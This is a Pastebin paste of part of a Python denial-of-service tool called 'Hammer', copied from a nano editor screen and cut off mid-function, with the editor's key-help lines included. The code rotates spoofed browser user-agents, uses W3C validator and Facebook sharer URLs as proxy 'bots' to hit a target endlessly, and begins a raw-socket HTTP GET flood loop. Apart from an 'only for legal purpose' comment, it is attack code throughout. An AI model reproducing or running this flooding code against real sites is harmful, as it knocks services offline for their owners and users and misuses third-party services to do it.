Advertisement
Guest User

hammer script

a guest
Nov 11th, 2019
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.53 KB | None | 0 0
  1. GNU nano 4.3 hammer.py Modified
  2. #!/usr/bin/python3
  3. # -*- coding: utf-8 -*-
  4.  
  5. # python 3.3.2+ Hammer Dos Script v.1
  6. # by Can Yalçın
  7. # only for legal purpose
  8.  
  9.  
  10. from queue import Queue
  11. from optparse import OptionParser
  12. import time,sys,socket,threading,logging,urllib.request,random
  13.  
  14. def user_agent():
  15. global uagent
  16. uagent=[]
  17. uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
  18. uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
  19. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  20. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  21. uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
  22. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  23. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  24. return(uagent)
  25.  
  26.  
  27. def my_bots():
  28. global bots
  29. bots=[]
  30. bots.append("http://validator.w3.org/check?uri=")
  31. bots.append("http://www.facebook.com/sharer/sharer.php?u=")
  32. return(bots)
  33.  
  34.  
  35. def bot_hammering(url):
  36. try:
  37. while True:
  38. req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
  39. print("\033[94mbot is hammering...\033[0m")
  40. time.sleep(.1)
  41. except:
  42. time.sleep(.1)
  43.  
  44.  
  45. def down_it(item):
  46. try:
  47. while True:
  48. packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
  49. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  50. s.connect((host,int(port)))
  51.  
  52. ^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos M-U Undo M-A Mark Text M-] To Bracket M-Q Previous
  53. ^X Exit ^R Read File ^\ Replace ^U Paste Text ^T To Spell ^_ Go To Line M-E Redo M-6 Copy Text ^Q Where Was M-W Next
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement